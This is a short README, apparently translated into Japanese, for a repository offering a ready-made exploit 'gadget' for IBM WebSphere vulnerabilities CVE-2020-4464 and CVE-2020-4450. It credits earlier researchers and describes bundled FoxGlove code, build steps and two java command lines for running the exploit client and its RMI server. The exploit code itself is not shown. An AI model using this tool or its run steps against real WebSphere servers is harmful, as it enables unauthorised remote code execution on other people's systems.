WSIF Gadget for WebSphere (CVE-2020-4464 / CVE-2020-4450)

これは、ZDIの優れたブログ記事に基づいています（元のレポートは@_tint0によるものです）：

... および、腕利きの中国のハッカーたちの成果に基づいています（コードの正確な出典を特定できなかったため、クレジットに値すると思われる場合はお気軽にIssueを開いてください）：

私が追加した点（大したものではありません）：

依存関係 + ビルドスクリプト
公開アクセス可能なRMIサービス
軽微なコードのクリーンアップ

FoxGloveのコードはサブモジュールとして取り込まれており、WebSphereのリクエストファイルを使用してCVE-2020-4464をトリガーできます。

WebSphereからpluginsディレクトリとruntimesディレクトリをlibディレクトリにコピーし、antを実行してコンパイルしてください！

実行方法（Java 11）：

java -cp .:runtimes/com.ibm.ws.orb_9.0.jar:runtimes/com.ibm.ws.admin.client_9.0.jar:plugins/com.ibm.ws.managedobject.jar:plugins/com.ibm.ws.runtime.jar:plugins/com.ibm.ws.batch.runtime.jar:plugins/javax.j2ee.ejb.jar:runtimes/com.ibm.jaxws.thinclient_9.0.jar --add-modules jdk.naming.rmi --add-exports='jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED' Test

java -cp .:plugins/com.ibm.ws.runtime.jar:runtimes/com.ibm.ws.admin.client_9.0.jar RMIServer

WebSphere-WSIF-gadget

人気

WSIF Gadget for WebSphere (CVE-2020-4464 / CVE-2020-4450)